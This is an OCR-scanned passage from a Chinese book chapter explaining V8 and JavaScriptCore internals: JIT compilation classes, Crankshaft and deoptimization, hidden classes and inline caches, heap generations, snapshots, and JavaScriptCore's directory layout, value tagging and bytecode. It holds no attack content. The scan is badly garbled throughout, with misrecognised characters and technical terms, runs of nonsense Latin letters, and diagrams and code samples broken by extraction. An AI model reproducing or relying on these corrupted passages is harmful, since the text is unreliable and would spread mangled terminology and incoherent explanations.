针对 V8 设计 思想 来 说 ， 笔 者 认为 它 的 理念 比较 先进 ， 做 法 虽然 比较 激 

进 ， 但 是 确实 给 JavaScript 引 敬 设 计 者 们 带 来 很 多 新 思路 。 











下 面 来 看 一 看 V8 引 擎 编译 JavaScript 生 成 本 地 代码 〈 也 称 为 JIT 编 
译 ) 使 用 了 哪些 主要 的 类 和 过 程 。 图 9-14 给 出 了 主要 的 类 ， 下 面 逐 一 来 
a 





e Script : 表示 是 JavaScript 代 码 ， 既 包含 源 代码 ， 叉 包含 编译 之 后 生 
成 的 本 地 代码 ， 所 以 它 既 是 编译 入 口 ， 又 是 运行 入 口 。 

e Compiler : 编译 器 类 ， 辅 助 Script 类 来 编译 生成 代码 ， 它 主要 起 一 
个 协调 者 的 作用 ， 会 调用 解释 器 〈Parser) 来 生成 抽象 语法 树 和 全 
代码 生成 器 ， 来 为 抽象 语法 树 生 成 本 地 代码 。 

e Parser : 将 源 代码 解释 并 构建 成 抽象 语法 树 ， 使 用 AstNodeFactory 

类 来 创建 它们 ， 并 使 用 Zone 类 来 分 配 内 存 ， 这 个 在 后 面 内 存 管 理 中 

介绍 。 

AstNode : 抽象 语法 树 节 点 类 ， 是 其 他 所 有 节点 的 基 类 ， 它 包含 非 

党 多 的 子 类 ， 后 面 会 针对 不 同 的 子 类 生成 不 同 的 本 地 代码 。 

e AstVisitor : 抽象 语法 树 的 访问 者 类 ， 基 于 著名 的 设计 模式 Visitor 
来 设计 ， FERKA 局 历 寞 构 的 抽象 ; FN. 

e FullCodeGenerator : AstVisitor Í} S28, Ám EAR 
为 JavaScript 生 成 本 地 可 执行 的 代码 。 






































Script AstNodeFactory Zone 
+New() +NewBlockType() +New() 
~ create! 
+Run() AN Si A 
T 1 ` 1 
1 n > n 
I Parser AstNode 
Compiler |----> +ParseProgram() 
+Compile() AN 
+CompileLazy() 
wens FullC odeGenerator AstVisitor 
+MakeCode() > +VisitModuleLiteraltype() 
+Generate() +VisitBlocktype() 





图 9-14 V8 编译 器 涉及 的 主要 类 


根据 上 面 类 的 描述 ， 我 们 大 致 可 以 描绘 出 这 样 一 个 编译 JavaScript 代 
人 码 的 过 程 : Script 类 调用 Compiler 类 的 Compile 函 数 为 其 生成 本 地 代码 。 
在 该 函数 中 ， 第 一 ， 它 使 用 Parser 类 来 生成 抽象 语法 树 ; 第 二 ， 使 用 
FullCodeGenerator 类 来 生成 本 地 代码 。 根 据 前 面 摘 述 的 延迟 编译 的 思 
想 ， 事 实 上 ，JavaScript 中 的 很 多 函数 是 没有 被 编译 生成 本 地 代码 的 。 因 
为 JavaScript 代 人 码 编译 之 前 需要 构建 一 个 运行 环境 ， 所 以 实际 上 在 编译 之 
前 ，V83 引 擎 会 构建 众多 全 局 对 象 并 加 载 一 些 内 置 的 库 ， 如 math 库 等 。 





对 于 编译 器 的 全 代码 生成 占 来 说 ， 因 为 本 地 代码 跟 具 体 的 人 硬件 平台 
密切 相关 ， 所 以 它 使 用 多 个 后 端 来 生成 实际 的 代码 ， 如 图 9-15 所 示 的 过 
程 。V8 引 擎 至 少 包含 四 个 跟 平台 相关 的 后 首 ， 用 于 生成 不 同 平台 上 的 
本 地 汇编 代码 。 





抽象 语法 树 Ee A 
a IA32 后 端 IA32 汇编 代码 


X64 汇编 代码 
全 代码 生成 器 


ARM 汇编 代码 


MIPS 汇编 代码 


图 9-15 V8 代码 生成 器 生成 本 地 代码 


代码 生成 器 在 不 同 的 平台 上 有 不 同 的 实现 。 例 如 在 IA32 平 台 ， 读 者 
会 及 现代 码 生 成 费 中 的 函数 是 根据 该 平台 的 需求 而 实现 的 。 对 于 ARM 
平台 ， 同 样 有 自己 的 实现 。 





当代 码 生 成 器 壳 历 AST 树 的 时 候 ，FullCodeGenerator 会 为 每 个 节点 
生成 相应 的 汇编 代码 ， 不 过 没有 了 全 局 的 视图 ， 因 此 没有 为 节点 之 间 考 
虑 可 能 的 优化 。 在 不 同 的 平台 上 ，FullcodeGenerator 的 很 多 函数 有 不 同 
的 实现 ， 它 们 在 full-codegen-ia32.cc、full-codegen-x64.cc、full-codegen- 
arm.cc 和 full-codegen-mips.cc 文 件 中 分 别 作 了 不 同 的 实现 。 














图 9-13 中 ，V8 在 生成 本 地 代码 之 后 ， 为 了 性 能 考虑 ， 通 过 数据 分 析 
az (Profiler) 来 采集 一 些 信息 ， 以 帮助 决 集 哪些 本 地 代码 需要 优化 ， 以 
生成 效率 更 局 的 本 地 代码 ， 这 是 一 个 逐步 改进 的 过 程 。 同 时 ，V8 中 还 
有 一 种 机 制 ， 也 就 是 当 发 现 优化 后 的 代码 性 能 其 实 并 没有 提高 甚至 还 有 
所 降低 ， 那 么 V8 能 够 退回 到 原来 的 代码 ， 这 些 部 是 在 运行 阶段 涉及 到 
的 技术 。 











下 面 来 看 一 下 代码 的 运行 阶段 。 首 先 依 然 是 运行 阶段 的 主要 类 ， 图 
9-16 描 述 了 V8 支持 JavaScript 代 码 运 行 的 主要 类 。 


MarkCompactCollector| | Heap | 


+MigrateObject() “7| +allocateJS Object() <> -generatedCode 


A A 


1 1 
| 
SweeperThread | Runtime | 


图 9-16 V8 引擎 运行 JavaScript 代 码 的 主要 类 


e Script : 这 个 前 面 已 经 介绍 过 ， 包 含 编译 之 后 生成 的 本 地 代码 ， 
行 代码 的 入 口 。 

e Execution : 运行 代码 的 辅助 类 包含 一 些 重 要 的 函数 ， 例 如 “Call” 函 
数 ， 它 辅助 进入 和 执行 Script 中 的 本 地 代码 。 

e JSFunction : 需要 执行 的 JavaScript 也 数 表 示 类 。 

e Runtime : 运行 这 些 本 地 代码 的 辅助 类 ， 它 的 功能 主要 是 提供 运行 
时 各 种 各 样 的 辅助 函数 ， 包 括 但 是 不 限于 属性 访问 、 类 型 转换 、 编 
译 、 算 术 、 位 操作 、 比 较 、 正 则 表达 式 等 。 

e Heap : 运行 本 地 代码 需要 使 用 内 存 堆 ， 堆 的 内 部 构成 和 结构 相当 
复杂 ， 这 个 在 后 面 的 内 存 管理 中 会 介绍 

e MarkCompactCollector : 应 圾 回收 机 制 的 主要 实现 类 用 来 标记 
(Mark) 、 清 除 (Sweep) MÆ (Compact) 等 基本 的 垃圾 回收 

。 SweeperThread : 负责 垃圾 回收 的 线程 。 





结合 这 些 类 ，V8 引 擎 是 按照 图 9-17 中 描述 的 过 程 来 执行 的 。 当 然 实 
际 上 的 过 程 更 为 复 林 ， 而 且 还 有 垃圾 回收 等 处 理 ， 下 面 主 要 描述 了 几 个 
基本 的 可 能 会 被 调用 的 函数 。 


调用 友和 后 在 图 中 的 三 个 子 阶 段 。 第 一 就 是 延 到 编译， 也 就 

是 “CompileLazy” 这 个 函数 的 调用 ， 根 据 需 要 编译 和 生成 这 些 本 地 代码 
的 时 候 ， 实 际 上 也 是 在 使 用 编译 阶段 那些 类 和 操作 。 这 一 思想 同样 被 广 
泛 应 用 在 WebKit 和 Chromium 项 目 中 。 在 V8 中 ， 疯 数 是 一 个 基本 单位 。 
当 某 个 JavaScript 疯 数 被 调用 的 时 候 ， 属 于 该 函数 的 本 地 代码 就 会 生成 。 
具体 工作 的 方式 是 V8 查找 该 函数 是 否 已 经 生成 本 地 代码 ， 如 果 已 经 生 
成 ， 那 么 直接 调用 该 函数 。 否 则 ，V8 引 擎 会 触发 生成 本 地 代码 ， 目 的 
当然 是 节约 时 间 ， 减 少 去 处 理 那 些 使 用 不 到 的 代码 的 时 间 。 第 二 就 是 图 
9-17 中 的 1.2.3， 这 时 执行 编译 后 的 代码 就 是 为 JavaScript 构 建 JS 对 象 ， 这 
需要 Runtime 类 来 辅助 创建 对 象 ， 并 需要 从 Heap 类 分 配 内 存 。 第 三 就 是 
图 9-17 中 的 1.2.4， 此 阶段 需要 借助 Runtime 类 中 的 辅助 函数 来 完成 一 些 
功能 ， 如 属性 访问 、 类 型 转换 等 。 
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图 9-17 V8 引擎 中 的 代码 执行 过 程 








因为 V8 是 基于 抽象 语法 树 直 接生 成 本 地 代码 ， 没 有 中 间 表 示 层 
CFI) ， 所 以 很 多 时 候 代码 没有 经 过 很 好 的 优化 。 关 于 JavaScript 引 
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特别 大 的 突破 ， 而 其 他 引擎 都 在 进步 。 有 鉴于 此 ， 在 2010 年 ，V8 引 入 
了 新 的 编译 器 ， 这 就 是 Crankshaft 编 译 器 ， 它 主要 针对 那些 热点 函数 进 
行 优化 。 访 编译 器 基于 JavaScript 源 代码 开始 分 析 ， 而 不 是 本 地 代码 ， 同 
时 构建 Hydrogen 图 并 基于 此 来 进行 优化 分 析 ，Hydrogen 图 包括 超过 132 
条 指令 。 鉴 于 它 的 复杂 性 ， 这 里 不 再 详细 介绍 ， 有 兴趣 的 读者 请 自行 探 
Reo 


9.2.2.3 (itll (Deoptimization ) 


前 面 提 到 V8 引擎 为 了 性 能 上 的 优化 ， 引 入 了 更 为 高 效 的 Crankshaft 
编译 器 。 但 是 为 了 性 能 考虑 ， 该 编译 占 通 第 会 做 比较 乐观 和 大 胆 的 预 
测 ， 那 束 古 编译 占 认 为 这 些 代码 比较 稳定 ， 变 量 类 型 不 会 发 生 改变 ， 所 
以 能 够 生成 高 效 的 本 地 代码 。 当 然 这 是 理想 情况 ， 现 实 是 引擎 会 发 现 一 
些 变量 的 类 型 已 经 发 生变 化 。 在 这 种 情况 下 ，V8 使 用 一 种 机 制 来 将 它 
做 的 这 些 错 误 决 定 回 深 到 之 前 的 一 般 情况 ， 这 个 过 程 称 为 优化 回 深 。 











下 面 举 个 例子 来 说 明 为 什么 会 出 现 这 种 情况 吧 。 示 例 代码 9-5 介 绍 
了 其 中 一 种 情况 ， 函 数 ABC 被 调用 很 多 次 之 后 ，V8 引 擎 可 能 会 触及 
Crankshaft 编 译 器 来 生成 优化 的 代码 ， 优 化 的 代码 认为 示例 代码 的 类 型 
等 信息 都 已 经 被 获知 了 。 但 事实 上 ， 到 目前 为 止 ， 我 们 对 于 代码 中 的 
unknown 变 量 的 类 型 还 一 无 所 知 ， 在 这 种 情况 下 ，V8 只 能 将 该 段 代码 回 
深 到 一 个 通用 的 状态 。 


示例 代码 9-5 ”会 触发 优 化 回 深 的 代码 示例 


var counter = 0; 


function ABC(x, y) { 
counter++; 
if (counter < 10000000) { 
// do sth 
return 123; 
} 
var unknown = new Date(); 
print(unknown) ; 


} 


优化 回 深 是 一 个 很 费时 的 操作 ， 所 以 能 够 不 回 深 ， 肯 定 不 要 回 深 ， 
而 且 回 深 会 将 之 前 优化 的 代码 恢复 到 一 个 没有 经 过 特别 优化 的 代码 ， 这 
古 一 个 非常 不 局 效 的 过 程 ， 写 代码 的 时 候 要 特别 注音 尽量 不 要 触发 这 一 


9.2.2.4 ”隐藏 类 和 内 骸 绥 存 


虽然 JavaScript 语 言 中 没有 类 型 的 定义 ， 那 么 借助 于 C++ 类 的 思想 ， 
是 不 是 也 能 够 为 JavaScript 的 对 象 构建 类 型 信息 呢 ? 当然 可 以 ， 至 少 部 分 
可 以 。V8 使 用 类 和 仿 移 位 置 思想 ， 将 本 来 需要 通过 字符 串 匹 配 来 查找 
属性 值 的 算法 改进 为 使 用 类 似 C++ 编译 器 的 偶 移 位 置 的 机 制 来 实现 ， 这 
就 是 隐藏 类 (Hidden Class) 。 隐 藏 类 将 对 象 划 分 成 不 同 的 组 ， 对 于 相 
同 的 组 ， 也 就 是 该 组 内 的 对 象 拥有 相同 的 属性 名 和 属性 值 的 情况 ， 将 这 
些 属 性 名 和 对 应 的 偏 移 位 置 保存 在 一 个 隐藏 类 中 ， 组 内 的 所 有 对 象 共 孚 
该 信息 。 同 时 ， 也 可 以 识别 属性 不 同 的 对 象 。 





这 听 起 来 可 能 比较 抽象 ， 所 以 使 用 如 图 9-18 这 样 的 例子 来 加 以 说 


明 。 图 中 这 一 解释 来 自 于 V8 的 官方 文档 说 明 ， 下 面 将 逐一 解释 它们 。 


function ABC(x, y) f 


thi = 


NSS sar 
this.y = y; 


} 
var a = new ABC(1,1); 


var b = new ABC(2,2); 





图 9-18 JavaScript 对 象 归 类 和 隐藏 类 


因为 JavaScript 没 有 办 法 定义 类 型 ， 所 以 图 9-18 中 左 半 部 分 使 用 函数 
来 定义 。 同 时 ， 创 建 了 两 个 对 象 一 a 和 b。 这 两 个 对 象 包含 相同 的 属性 
名 ， 在 V8 中 ， 它 们 被 归 为 同一 个 组 ， 也 就 是 隐藏 类 ， 这 些 属性 在 隐藏 
类 中 有 相同 的 偏 移 值 。 这 样 ， 对 象 a 和 b 可 以 共享 这 个 类 型 信息 ， 当 访问 
这 些 对 象 属性 的 时 候 ， 根 据 隐 藏 类 的 偏 移 值 就 可 以 知道 它们 的 位 置 并 进 
行 访问 。 因 为 JavaScript 是 动态 类 型 语言 ， 所 以 假如 在 上 述 代码 之 后 ， 加 
入 下 面 的 代码 : b.z = 2。 那 么 ，b 所 对 应 的 将 是 一 个 新 的 隐藏 类 ， 这 样 a 
和 b 将 属于 不 同 的 组 。 














在 理解 了 V8 的 隐藏 类 之 后 ， 下 面 了 解 一 下 代码 是 如 何 使 用 这 些 隐 
藏 类 来 高 效 访问 对 象 的 属性 的 。 以 这 段 简单 代码 为 例 来 说 明 : function 
add(a) { return ax; }。 首 先 看 最 基本 的 情况 ， 访 问 对 象 属 性 的 过 程 是 这 
样 的 : 首先 获取 隐藏 类 的 地 址 ， 然 后 根据 属性 名 碍 找 偶 移 值 ， 计 算 该 属 
性 的 地 址 。 不 过 ， 这 一 过 程 比 较 费 时 间 。 实 际 上 的 情况 可 能 要 好 很 多 ， 
因为 很 多 情况 下 该 函数 中 的 参数 a 可 能 是 同一 种 类 型 ， 那 么 是 否 能 够 使 
用 缓存 机 制 呢 ? 








是 的 ， 该 缓存 机 制 叫 做 内 髓 缓存 (Inline Cache) ， 它 可 以 避免 方法 


和 属性 被 存 取 的 时 候 出 现 的 因 哈 希 表 得 找 而 带 来 的 问题 。 该 机 制 的 基本 
思想 是 将 使 用 之 前 查找 的 结果 缓存 起 来 ， 也 束 是 说 V8 可 以 将 之 前 查找 
的 隐藏 类 和 偏 移 值 保存 下 来 。 当 下 次 伍 找 的 时 候 ， 首 先 比 较 当 前 对 象 是 
人 否 也 是 之 前 的 隐藏 类 ， 如 果 是 的 话 ， 可 以 直接 使 用 之 前 缓存 的 偏 移 值 ， 
从 而 减少 查找 表 的 时 间 。 











当然 ， 如 果 该 函数 中 的 对 象 出 现 多 个 类 型 ， 那 么 缓存 失误 的 机 率 
就 会 局 很 多 。 当 出 现 缓存 失误 的 时 候 ，V8 可 以 按照 上 面 说 的 ， 退 回 到 
之 前 的 方式 来 得 找 哈 希 表 。 但 是 因为 效率 问题 ，V8 会 在 缓存 失败 之 
后 ， 通 过 对 象 a 的 隐藏 类 来 得 找 该 类 有 无 一 段 代 码 ， 这 段 代 码 可 以 快速 
查找 对 象 ， 其 实 束 如 示例 代码 9-6 所 示 ， 这 上 段 代 码 就 是 保存 在 a 对 象 的 隐 
藏 类 对 应 的 表 中 ， 所 以 如 果 该 段 代码 已 经 生成 ， 束 同样 可 以 较 快 地 实现 
属性 值 的 查找 。 

















示例 代码 9-6 使 用 内 髓 缓存 机 制 的 属性 值 访问 代码 示例 


if (a->hiddenClass() == cachedClass) { 


return a->properties[cachedoffset]; 











} else { 
we V/ 退 回 到 原来 的 方法 
} 


9.2.2.5 ”内 存 管理 


V8 的 内 存 管理 部 分 主要 讲 两 点 ， 第 一 是 V8 内 存 的 划分 ， 第 二 是 V8 
对 于 JavaScript 代 人 码 的 垃圾 回收 机 制 。 





对 于 内 存 的 划分 ， 首 先 看 Zone 类 ， 它 的 特点 主要 是 管理 一 系列 的 小 


块 内 存 。 如 果 用 户 想 使 用 一 系列 的 小 内 存 ， 并 且 这 些小 内 存 的 生命 周期 
类 似 ， 这 时 可 以 使 用 一 个 Zone 对 象 ， 这 些小 内 存 都 是 从 Zone 对 象 中 申请 
的 。Zone 对 象 消 完 自 己 申请 一 块 内 存 ， 然 后 管理 和 分 配 一 些小 内 存 。 当 
一 块 小 内 存 被 分 配 之 后 ， 不 能 够 被 Zone 回收 ， 只 能 一 次 性 回收 Zone 分 配 
的 所 有 小 块 内 存 。 例 如 抽象 语法 树 的 内 存 分 配 和 使 用 ， 在 构建 抽象 语法 
树 之 后 ， 会 生成 本 地 代码 ， 然 后 抽象 语法 树 的 内 存在 这 之 后 被 一 次 性 全 
部 收回 ， 效 紊 非 第 高 。 但 是 ， 该 机 制 有 一 个 非常 严重 的 缺陷 ， 那 束 古 假 
如 这 一 个 过 程 需要 很 多 的 内 存 ， 那 么 Zone 就 需要 为 系统 分 配 大 量 的 内 
存 ， 但 是 又 不 能 够 释放 ， 所 以 这 会 导致 系统 出 现 需 要 过 多 的 内 存 而 导致 
内 存 不 够 的 情况 。 











其 次 是 堆 。V8 使 用 堆 来 管理 JavaScript 使 用 的 数据 ， 以 及 生成 的 代 
码 、 险 希 表 等 ， 为 了 更 方便 地 实现 垃圾 回收 ， 同 很 多 虚拟 机 一 样 ，V8 
将 堆 分 成 三 个 部 分 ， 第 一 个 是 年 轻 分 代 ， 第 二 个 是 年 老 分 代 ， 其 中 还 分 
成 多 个 子 部 分 ， 第 三 个 是 为 大 对 象 保留 的 空间 。 图 9-19 分 别 描述 了 这 三 


个 部 分 。 





大 对 象 空间 





图 9-19 V8 中 堆 的 划分 





对 于 年 轻 分 代 ， 主 要 是 为 新 创建 的 对 象 分 配 内 存 空间 ， 因 为 年 轻 分 
代 中 的 对 象 较 容易 被 要 求 回 收 ， 为 了 方便 垃圾 回收 ， 可 以 使 用 复制 方 
式 ， 将 年 轻 分 代 分 成 两 半 ， 一 半 用 来 分 配 ， 为 外 一 半 在 回收 的 时 候 负 责 
将 之 前 还 需要 保留 的 对 象 复制 过 来 。 对 于 年 轻 分 代 ， 经 常 需要 进行 垃圾 











回收 。 而 对 于 年 老 分 代 ， 主 要 是 根据 需要 将 年 老 的 对 象 、 指 针 、 代 码 等 
数据 使 用 的 内 存 较 少 地 做 垃圾 回收 。 而 对 于 大 对 象 空 间 ， 主 要 是 用 来 为 
那些 需要 使 用 较 多 内 存 的 大 对 象 分 配 内 存 ， 当 然 同样 可 能 包含 数据 和 代 
码 等 分 配 的 内 存 ， 需 要 注意 的 是 每 个 页 面 只 分 配 一 个 对 象 。 








对 于 垃圾 回收 ， 因 为 使 用 了 分 代 和 大 数据 的 内 存 分 配 ，V8 需 要 使 
用 精简 整理 的 算法 ， 用 来 标记 那些 还 被 引用 的 对 象 ， 然 后 消除 那些 没有 
被 标记 的 对 象 ， 最 后 整理 和 压缩 (Compact) 那些 还 需要 保存 的 对 象 。 
在 目前 的 虚拟 机 中 ， 垃 圾 回收 机 制 已 经 发 展 得 越 来 越 先 进 ， 我 们 有 理由 
相信 ，V8 将 引入 更 多 的 垃圾 回收 优化 算法 ， 如 并 发 机 制 等 ， 以 后 可 以 
使 用 并 发 标记 、 并 发 内 存 回收 等 。 其 中 一 些 技术 已 经 被 实现 ， 之 后 还 会 
有 更 多 技术 被 引入 。 





9.2.2.6 ”快照 (Snapshot) 


前 面 介绍 到 ， 在 V8 引 擎 开始 局 动 的 时 候 ， 需 要 加 载 很 多 内 置 的 全 
局 对 象 ， 同 时 也 要 建立 内 置 的 函数 ， 如 Array、String、Math 等 。 为 了 让 
引擎 更 加 整洁 ， 加 载 对 象 与 建立 函数 等 任务 都 是 使 用 JS 文件 来 实现 的 ， 
V8 引 擎 负责 提供 机 制 来 文 持 ， 就 是 在 编译 和 执行 输入 的 JavaScript 代 码 
之 前 ， 先 加 载 它们 。 





根据 前 面 的 介绍 ，V8 引 擎 需要 编译 和 执行 这 些 内 置 的 JS 代码 ， 同 时 
使 用 堆 等 来 保存 执行 过 程 中 创建 的 对 象 、 代 码 等 ， 这 些 都 需要 较 多 的 时 
间 。 为 些 ，V8 引 入 了 快照 机 制 。 





快照 机 制 就 是 将 这 些 内 置 的 对 象 和 函数 加 载 之 后 的 内 存 保存 并 序列 
化 。 序 列 化 之 后 的 结果 很 容易 被 反 序 列 化 ， 经 过 快照 机 制 的 局 动 时 间 ， 


AY LAA LSE ED. FEB AEA IN (5 FT FP ice Dl “snapshot=on” Wk AT DALE V8 x FF 
快照 机 制 。 在 V8 中 ，mksnapshot 工 具 能 够 帮助 生成 快照 。 


快照 机 制 同样 也 能 够 将 一 些 开 有 者 认为 需要 的 JS 文件 序列 化 ， 以 减 
少 以 后 处 理 的 时 间 ， 不 过 快照 机 制 有 一 个 非常 明显 的 缺点 ， 那 就 是 这 些 
代码 没有 办 法 被 CrankShaft 这 样 的 优化 编译 器 优化 ， 所 以 存在 性 能 上 的 
问题 ， 原 因 读 者 可 以 仔细 思考 一 下 。 


9.2.3” 绑 定 和 扩展 


很 多 时 候 ，JavaScript 引 擎 所 提供 的 能 力 不 能 满足 现实 的 需求 ， 比 如 
引擎 本 身 没 有 HTML5 的 众多 能 力 〈 如 地 理 信息 ) ， 这 时 ， 引 擎 使 用 者 
需要 扩展 它 的 能 力 。 同 很 多 其 他 的 JavaScript 引 擎 一 样 ，V8 可 以 提供 扩 
展 引 擎 的 能 力 ， 如 前 面 所 述 ， 当 V8 被 使 用 在 Chromium 中 时 ， 它 就 使 用 
V8 的 绑 定 机 制 来 扩展 DOM 的 实现 。 








V8 提供 两 种 机 制 ， 第 一 是 Extension 机 制 ， 就 是 通过 V8 提供 的 基 类 
Extension 来 达到 扩展 JavaScript 能 力 的 目的 。 第 二 是 绑 定 ， 就 是 使 用 IDL 
文件 或 者 接口 文件 来 生成 绑 定 文件 ， 然 后 将 这 些 文件 同 V8 引 擎 的 代码 
一 起 编译 。 这 两 种 机 制 在 第 10 章 中 会 被 详细 介绍 。 











9.3 JavaScriptCore5| 4 


9.3.1 原理 


JavaScriptCore 引 擎 是 webKit 中 的 默认 JavaScript 引 擎 ， 也 是 苹果 在 
开源 WebKit 项 目 之 后 ， 开 源 的 另外 一 个 重要 的 项 目 。 同 其 他 很 多 引擎 一 
样 ， 在 刚 开始 的 时 候 它 的 主要 部 分 是 一 个 基于 抽象 语法 树 的 解释 器 ， 这 
使 得 它 的 性 能 实在 太 差 。 





从 2008 年 开始 ，JavaScriptCore 引 擎 开始 一 个 新 的 优化 工作 ， 重 新 实 
现 了 编译 器 和 字 节 人 码 解释 器 ， 这 就 是 SquirrelFish。 该 工作 对 于 引 获 的 性 
能 优化 做 了 比较 大 的 改进 。 随 后 ， 苹 果 内 部 代号 为 “Nitro” 的 JavaScript 引 
擎 也 是 基于 JavaScriptCore 项 目的 ， 它 的 性 能 还 是 非常 出 色 的 ， 鉴 于 其 是 
内 部 项 目 ， 所 以 具体 还 有 什么 特别 的 处 理 束 不 得 而 知 了 。 在 这 之 后 ， 开 
发 者 们 又 将 内 骸 缓 存 、 基 于 正则 表达 式 的 IT 和 简单 的 IT 引 入 到 
JavaScriptCore 中 。 然 后 ， 又 陆续 加 入 了 字 市 码 解 释 器 。 可 以 看 出 ， 
JavaScriptCore 引 擎 也 在 不 断 地 高 速 发 展 中 。 


9.3.2 ”架构 和 模块 


9.3.2.1 ”代码 结构 





根据 JavaScriptCore 项 目的 代码 结构 和 之 前 介绍 的 引擎 的 工作 过 程 ， 
读者 大 概 可 以 猜测 出 代码 结构 中 到 底 有 哪些 主要 模块 和 基本 的 工作 了 ， 


因为 该 结构 划分 的 粒度 比 V8 项 目 细致 多 了 ， 还 是 比较 容易 理解 的 ， 
图 9-20 所 示 的 代码 结构 目录 。 


JavaScriptCore 
API 


assembler 


bytecode 


debugger 


dfg 


disassembler 


heap 


interpreter 


jit 


llint 


parser 


profiler 


runtime 


shell 


tools 


yarr 


各 种 JavaScriptCore 对 外 接口 类 

汇编 器 ， 用 于 生成 各 个 平台 的 汇编 代码 
学 节 码 的 表示 和 处 理 相关 类 

支持 调试 JavaScript 代码 

DFG JIT 4mi# gs 

反 汇 编 

JavaScript 运行 时 使 用 的 堆 和 垃圾 回收 机 制 
解释 器 ， 被 简单 JIT 编译 器 所 使 用 
简单 IT 编译 器 

底层 解释 器 ， 负 责 解 释 执 行 字 节 码 


解释 并 构建 抽象 语法 树 


信息 收集 器 
支持 代码 运行 的 各 个 辅助 类 


简单 的 测试 程序 
各 种 工具 


JavaScript 词法 分 析 器 


图 9-20 ”JavaScriptCore 代 码 结 构 


如 


从 代码 目录 中 ， 我 们 可 以 猜测 并 理解 它 的 演进 过 程 : 首先 是 词法 和 
语法 分 析 ， 然 后 使 用 底层 解释 器 来 解释 那些 字 节 码 。 之 后 ， 通 过 简单 的 
JIT 编 译 器 将 它们 转化 成 本 地 代码 。 还 没 结束 ， 最 后 就 是 引入 DFG JIT 编 
ER. 








这 些 目录 直接 跟 即 将 介绍 的 各 个 技术 有 很 好 的 对 应 关系 ， 该 者 多 有 
个 大 致 的 理解 ， 这 样 对 后 面 的 介绍 大 有 和 帮助， 感 兴趣 的 读者 还 可 以 去 查 
找 源码 来 有 个 基本 的 认识 。 


9.3.2.2 ”数据 表示 





JavaScriptCore 引 警 同 样 使 用 句柄 来 表示 数据 ， 对 于 简单 类 型 的 数据 
则 直接 包含 在 句柄 中 ， 而 对 于 对 象 来 说 ， 则 使 用 指针 来 指向 数据 在 堆 中 
的 位 置 。 同 V8 引 擎 不 同 的 是 ， 在 32 位 和 64 位 机 器 上 ， 句 柄 都 是 使 用 64 
位 来 表示 的 ， 图 9-21 分 别 描述 了 两 种 平台 上 各 种 类 型 的 表示 和 识别 方 
sae 











整数 FFFF FFFF XXXX XXXX 指针 0000 XXXX XXXX XXXX 
布尔 FFFF FFFE XXXX XXXX 浮 点 0001 XXXX XXXX XXXX 
32 位 64 位 
台 


指针 FFFF FFFB XXXX XXXX he 浮 点 FEFE XXXX XXXX XXXX 





浮 点 FFFF FFF8 XXXX XXXX 整数 FFFF 0000 XXXX XXXX 


浮 点 0000 0000 XXXX XXXX 


图 9-21 和 句 栖 的 定义 和 各 种 类 型 的 表示 方式 


首先 在 32 位 平台 上 ， 每 个 句柄 都 是 使 用 两 个 32 位 数据 来 表示 。 对 于 
整数 、 布 尔 和 指针 而 言 ， 前 面 32 位 用 来 标记 它们 ， 后 面 32 位 用 来 表示 这 








些 数据 。 对 于 双 浮 点 ， 前 32 位 在 区 间 FFFFFFF8~00000000 都 是 用 来 表示 
浮 点 类 型 ， 可 能 稍微 比 原 来 的 双 浮 点 表示 范围 小 一 些 ， 但 是 ， 这 个 范围 
已 经 足够 使 用 了 。 同 样 在 64 位 机 器 上 ， 因 为 标记 指针 需要 64 位 ， 只 好 使 
用 前 面 16 位 〈0000) ， 而 后 面 的 48 位 用 来 表示 地 址 ， 读 者 可 能 觉得 这 样 
就 没有 64 位 表示 指针 ， 但 是 实际 上 48 位 已 经 足够 。 








同 V8 引 擎 相 比 ，JavaScriptCore 引 擎 因为 在 32 位 上 使 用 64 位 来 表示 
句柄 ， 所 以 除了 小 整数 之 外 ， 对 于 浮 点 类 型 同样 可 以 不 需要 访问 推 中 的 
数据 ， 当 然 ， 缺 点 就 是 每 个 句柄 都 需要 2 倍 的 内 存 空 间 。 











9.3.2.3 ”模块 


同 V8 一 样 的 是 ，JavaScriptCore 引 擎 在 开源 之 后 也 引入 了 众多 新 技 
术 。 不 过 ，JavaScriptCore 引 擎 与 V8 相 比 还 是 有 很 多 不 同 之 处 的 ， 最 典 
型 的 就 是 它 使 用 了 字 节 人 码 的 中 间 表 示 ， 并 加 入 了 多 层 JIT 编 译 器 帮助 改 
善 性 能 ， 不 停 地 优化 编译 之 后 的 本 地 代码 。 当 然 JavaScriptCore 在 不 停 地 
演进 的 过 程 中 ， 目 前 的 实现 跟 之 前 的 实现 差别 非常 大 ， 所 以 这 里 介绍 的 
是 基于 目前 的 结构 的 ， 在 未 来 ， 可 能 还 会 有 很 多 其 他 的 变化 ， 让 我 们 拭 
H IF. 











第 一 ， 不 同 于 V8 引 擎 ，JavaScriptCore 引 擎 不 是 从 抽象 语法 树 生 成 
本 地 代码 ， 而 是 生成 平台 无 关 的 字 节 人 码 ， 如 图 9-22 所 示 。JavaScriptCore 
引擎 自己 定义 了 一 套 字 节 人 码 规 范 ， 该 字 节 码 与 平台 无 天， 而且 有 了 该 字 
节 人 码 ，JavaScriptCore 束 可 以 基于 其 进行 很 多 在 抽象 语法 树 之 上 不 能 或 者 
很 难 做 到 的 优化 。 读 者 需要 记 住 的 是 ， 不 同 于 V8， 在 这 之 后 ， 因 为 有 
了 字 节 人 码 ， 所 以 JavaScriptCore 束 不 再 需要 JavaScript 源 代码 ， 而 V8 使 用 
Crankshaft 编 译 占 进行 进一步 优化 ， 则 需要 继续 从 JavaScript 源 代码 重新 


开始 。 





A 


抽象 语法 树 


图 9-22 JavaScriptCore 中 从 源 代码 到 字 节 码 


第 二 ， 在 字 节 码 之 后 ，JavaScriptCore 依 然 包 含 了 字 节 人 码 解释 器 ， 这 
点 也 类 似 于 Java 虚 拟 机 中 的 解释 器 ， 它 们 都 能 够 解释 字 节 但 然后 生成 结 
果 。 而 不 同 于 Java 虚 拟 机 中 的 解释 器 的 是 ，JavaScriptCore 是 基于 虚拟 寄 
fas (Virtual Register) 的 虚拟 机 ， 而 Java 是 基于 栈 式 〈Stack) 的 虚拟 
机 。 这 一 解释 器 很 有 必要 ， 因 为 一 些 JavaScript 代 码 不 需要 经 过 很 强 的 优 
化 ， 只 需要 直接 执行 即 可 ， 复 杂 的 处 理 可 能 带 来 额外 开销 反而 抵消 了 优 
化 带 来 的 全 部 好 处 ， 如 图 9-23 所 示 。 同 时 ， 在 字 节 码 执行 期 间 ， 信 息 收 
集 器 会 收集 热点 函数 ， 以 方便 之 后 的 JIT 编 译 器 做 之 后 的 优化 处 理 。 图 
